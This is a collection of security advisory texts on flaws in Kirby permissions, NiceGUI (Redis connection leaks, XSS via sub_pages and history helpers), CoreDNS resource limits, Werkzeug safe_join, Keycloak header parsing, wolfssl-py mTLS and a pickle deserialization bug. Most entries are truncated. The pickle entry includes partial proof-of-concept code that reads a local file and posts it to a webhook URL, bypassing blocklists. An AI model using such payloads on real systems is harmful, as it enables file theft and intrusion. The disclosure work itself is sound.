ghsa

### TL;DR This vulnerability affects all Kirby sites where user permissions are configured to prevent specific role(s) from performing write actions, specifically by disabling the `update` permission with the intent to prevent modifications to site content. If developers haven't configured any user permissions that deviate from the default of allowing all actions, their site is *not* affected. ---- ### Introduction Kirby allows to restrict the permissions of specific user roles. Users of that role can only perform permitted actions. Permissions for updating content have already existed and could be configured for each model type, but were not enforced by Kirby's API backend code during operations to the changes version. The changes version is the content version that contains unsaved changes of existing models (pages, users, files or the site). ### Impact The missing permission checks allowed attackers with Panel access to create or discard a changes version or update the cont...

### Summary An unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. **NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.** ### Details When a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L319. By then tab_id is None, so there's no way to find the RedisPersistentDict and call https://github.com/zauberzeug/nicegui/blob/main/nicegui/persistence/redis_persistent_dict.py#L92. Each tab creates a RedisPersistentDict with a Redis client connection and a pubsub subscription. These are never closed, accumulating until Redis maxclients is reached. ### PoC #### Test ...

### Summary An unsafe implementation in the `pushstate` event listener used by `ui.sub_pages` allows an attacker to manipulate the fragment identifier of the URL, which _they can do despite being cross-site, using an iframe_. ### Details The problem is traced as follows: 1. On `pushstate`, `handleStateEvent` is executed. https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L38-L39 2. `handleStateEvent` emits `sub_pages_open` event. https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L22-L25 3. `SubPagesRouter` (used by `ui.sub_pages`), lisnening on `sub_pages_open`, `_handle_open` runs. https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/sub_pages_router.py#L18-L22 4. `_handle_open` finds any `SubPages` and runs `_show()` on them https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda70...

Multiple CoreDNS server implementations (gRPC, HTTPS, and HTTP/3) lack critical resource-limiting controls. An unauthenticated remote attacker can exhaust memory and degrade or crash the server by opening many concurrent connections, streams, or sending oversized request bodies. The issue is similar in nature to CVE-2025-47950 (QUIC DoS) but affects additional server types that do not enforce connection limits, stream limits, or message size constraints. ### Impact #### 1. Missing connection and stream limits (gRPC / HTTPS / HTTP3) The affected servers do not enforce reasonable upper bounds on concurrent connections or active streams. An attacker can: - Open many parallel connections - Rapidly issue requests without limit - Consume memory until the CoreDNS process becomes unresponsive or is terminated by the OOM killer Testing demonstrates that modest resource configurations (e.g., 256 MB RAM) can be exhausted quickly. Increasing concurrency parameters in the PoCs allows attackers...

### Summary An unsafe implementation in the `click` event listener used by `ui.sub_pages`, combined with attacker-controlled link rendering on the page, causes an XSS when the user actively clicks on the link. ### Details 1. On `click`, eventually `sub_pages_navigate` event is emitted. https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L41-L63 2. SubPagesRouter (used by ui.sub_pages), lisnening on `sub_pages_navigate`, `_handle_navigate` runs. https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/sub_pages_router.py#L18-L22 3. `_handle_navigate` runs `run_javascript` with f-string substituting `self.current_path` which is simply surrounded by double-quotes. The string context can be broken out easily. https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/sub_pages_router.py#L73-L88 ### PoC The minimal PoC boils down to this: ```py from ni...

### Summary XSS risk exists in NiceGUI when developers pass attacker-controlled strings into `ui.navigate.history.push()` or `ui.navigate.history.replace()`. These helpers are documented as History API wrappers for updating the browser URL without page reload. However, if the URL argument is embedded into generated JavaScript without proper escaping, a crafted payload can break out of the intended string context and execute arbitrary JavaScript in the victim’s browser. **Applications that do not pass untrusted input into `ui.navigate.history.push/replace` are not affected.** ### Details NiceGUI provides `ui.navigate.history.push(url)` and `ui.navigate.history.replace(url)` to update the URL using the browser History API. If an application forwards user-controlled data (e.g., URL path segments, query parameters like `next=...`, form values, etc.) into these methods, an attacker can inject characters such as quotes and statement terminators to escape the JavaScript string context and e...

Werkzeug's `safe_join` function allows path segments with Windows device names that have file extensions or trailing spaces. On Windows, there are special device names such as `CON`, `AUX`, etc that are implicitly present and readable in every directory. Windows still accepts them with any file extension, such as `CON.txt`, or trailing spaces such as `CON `. This was previously reported as https://github.com/pallets/werkzeug/security/advisories/GHSA-hgf8-39gv-g3f2, but the fix failed to account for compound extensions such as `CON.txt.html` or trailing spaces. It also missed some additional special names. `send_from_directory` uses `safe_join` to safely serve files at user-specified paths under a directory. If the application is running on Windows, and the requested path ends with a special device name, the file will be opened successfully, but reading will hang indefinitely.

### Summary Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server. ### Details The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features: 1. io.FileIO: Opens local files without using builtins.open. 2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request. 3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling. ### PoC ```python import pickle, io, urllib.request class GetFile: def __reduce__(self): return (io.FileIO, ('/etc/hosts', 'r')) class Exfiltrate: def __reduce__(self): return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile())) wi...

A flaw was found in Keycloak. The Keycloak Authorization header parser is overly permissive regarding the formatting of the "Bearer" authentication scheme. It accepts non-standard characters (such as tabs) as separators and tolerates case variations that deviate from RFC 6750 specifications.

A vulnerability in the handling of verify_mode = CERT_REQUIRED in the wolfssl Python package (wolfssl-py) causes client certificate requirements to not be fully enforced.  Because the WOLFSSL_VERIFY_FAIL_IF_NO_PEER_CERT flag was not included, the behavior effectively matched CERT_OPTIONAL: a peer certificate was verified if presented, but connections were incorrectly authenticated when no client certificate was provided.  This results in improper authentication, allowing attackers to bypass mutual TLS (mTLS) client authentication by omitting a client certificate during the TLS handshake.  The issue affects versions up to and including 5.8.2.